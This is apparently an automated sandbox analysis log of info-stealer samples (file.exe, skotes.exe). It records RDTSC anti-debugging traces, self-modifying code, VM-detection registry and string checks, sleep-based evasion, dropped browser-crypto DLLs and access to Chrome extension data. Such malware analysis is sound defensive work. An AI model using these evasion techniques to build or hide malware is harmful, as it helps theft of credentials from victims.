Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E64504 second address: E6451F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2D44BC37DCh 0x00000008 jns 00007F2D44BC37D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 je 00007F2D44BC37E8h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E64BB9 second address: E64BE0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2D44C41DEDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E64BE0 second address: E64C0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F2D44BC37E9h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E64C0B second address: E64C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E6AD95 second address: E6AD9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E6FCA5 second address: E6FCBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E6FCBC second address: E6FCD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F2D44BC37DFh 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E6F3E3 second address: E6F3F5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F2D44C41DDBh 0x00000008 pop edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E6F3F5 second address: E6F450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44BC37E8h 0x00000009 jmp 00007F2D44BC37E6h 0x0000000e jmp 00007F2D44BC37E0h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F2D44BC37E3h 0x0000001e rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E71B85 second address: E71B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E71D19 second address: E71D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2D44BC37DDh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E71D2A second address: E71D2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E71F1A second address: E71F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E71F1E second address: E71F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E7230D second address: E72317 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2D44BC37DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E729DC second address: E729E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E72C6F second address: E72C75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E72C75 second address: E72C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E72C79 second address: E72C7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E72D1D second address: E72D27 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2D44C41DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E74DFC second address: E74E02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E73C0A second address: E73C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a ja 00007F2D44C41DD6h 0x00000010 jmp 00007F2D44C41DE0h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E73C2B second address: E73C30 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E79818 second address: E7981E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E7981E second address: E79833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 jnc 00007F2D44BC37D6h 0x0000000d jnc 00007F2D44BC37D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E79833 second address: E79844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jne 00007F2D44C41DD6h 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E79E1E second address: E79E22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E7B85B second address: E7B85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E7B85F second address: E7B8FA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jnc 00007F2D44BC37E9h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F2D44BC37D8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b xor dword ptr [ebp+122D28AAh], esi 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007F2D44BC37D8h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d jng 00007F2D44BC37DCh 0x00000053 mov ebx, dword ptr [ebp+122D1F9Dh] 0x00000059 mov bx, 65E4h 0x0000005d push eax 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F2D44BC37E7h 0x00000066 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E7D753 second address: E7D75A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E7E819 second address: E7E853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 mov ebx, 5CDBAA6Dh 0x0000000d push 00000000h 0x0000000f mov dword ptr [ebp+122D2F44h], edx 0x00000015 push 00000000h 0x00000017 pushad 0x00000018 add dword ptr [ebp+122D27B0h], eax 0x0000001e movzx edx, ax 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F2D44BC37E5h 0x0000002a rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E7E853 second address: E7E858 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E80624 second address: E8062A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E8062A second address: E8062F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E8062F second address: E80635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E80635 second address: E80639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E80639 second address: E8063D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E8063D second address: E8064C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E8064C second address: E80652 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E80652 second address: E806B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D2FE5h], esi 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D2F3Ch], ecx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F2D44C41DD8h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D1EC6h], ecx 0x0000003a add di, 45BFh 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push edi 0x00000045 pop edi 0x00000046 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E806B7 second address: E806BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E806BB second address: E806C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E806C1 second address: E806CB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2D44BC37DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E806CB second address: E806EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2D44C41DE9h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E806EE second address: E806F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E815C8 second address: E81658 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2D44C41DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c jns 00007F2D44C41DEAh 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D1DECh], edi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F2D44C41DD8h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push esi 0x0000003a call 00007F2D44C41DD8h 0x0000003f pop esi 0x00000040 mov dword ptr [esp+04h], esi 0x00000044 add dword ptr [esp+04h], 0000001Ch 0x0000004c inc esi 0x0000004d push esi 0x0000004e ret 0x0000004f pop esi 0x00000050 ret 0x00000051 je 00007F2D44C41DDBh 0x00000057 mov edi, 4C468B76h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 pushad 0x00000061 popad 0x00000062 jc 00007F2D44C41DD6h 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E82647 second address: E8264D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E8264D second address: E826CD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F2D44C41DD8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 sub ebx, 43E72A3Bh 0x0000002b adc di, 3FFAh 0x00000030 jmp 00007F2D44C41DE4h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007F2D44C41DD8h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 0000001Ch 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 push eax 0x00000052 pushad 0x00000053 push edx 0x00000054 ja 00007F2D44C41DD6h 0x0000005a pop edx 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E836CB second address: E836D5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2D44BC37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E836D5 second address: E83717 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F2D44C41DE0h 0x0000000e nop 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 add dh, FFFFFFB2h 0x00000017 popad 0x00000018 push 00000000h 0x0000001a mov bx, dx 0x0000001d push 00000000h 0x0000001f mov bh, cl 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 jmp 00007F2D44C41DE0h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E83717 second address: E8371C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E857F8 second address: E857FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E857FE second address: E8581C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E8581C second address: E85838 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E87908 second address: E87991 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2D44BC37E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b add ebx, dword ptr [ebp+122D2DB1h] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F2D44BC37D8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D3AEEh], ebx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007F2D44BC37D8h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 0000001Bh 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f mov bl, 42h 0x00000051 push eax 0x00000052 push ecx 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F2D44BC37E5h 0x0000005a rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E8891C second address: E88920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E89A45 second address: E89A50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F2D44BC37D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E8AA40 second address: E8AA44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	RDTSC instruction interceptor: First address: E8AA44 second address: E8AA4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AFFB04 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AFFA80 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CA19FB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D27600 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Special instruction interceptor: First address: CBEE71 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Special instruction interceptor: First address: E64A59 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Special instruction interceptor: First address: E8DE9E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 81EE71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9C4A59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9EDE9E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsDBAAFIDGDA.exe

Code function: 21_2_054A0C5D rdtsc

21_2_054A0C5D

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1006763001\f7b9aebad7.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7056	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1576	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 612	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1224	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4332	Thread sleep count: 51 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4332	Thread sleep time: -1530000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4332	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsDBAAFIDGDA.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C66C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C66C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2519545021.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, DocumentsDBAAFIDGDA.exe, 00000015.00000002.2578980378.0000000000E47000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2619665705.00000000009A7000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000017.00000002.2634701006.00000000009A7000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000019.00000002.3344250067.00000000009A7000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: EGDBAFHJ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: EGDBAFHJ.0.dr	Binary or memory string: discord.comVMware20,11696428655f
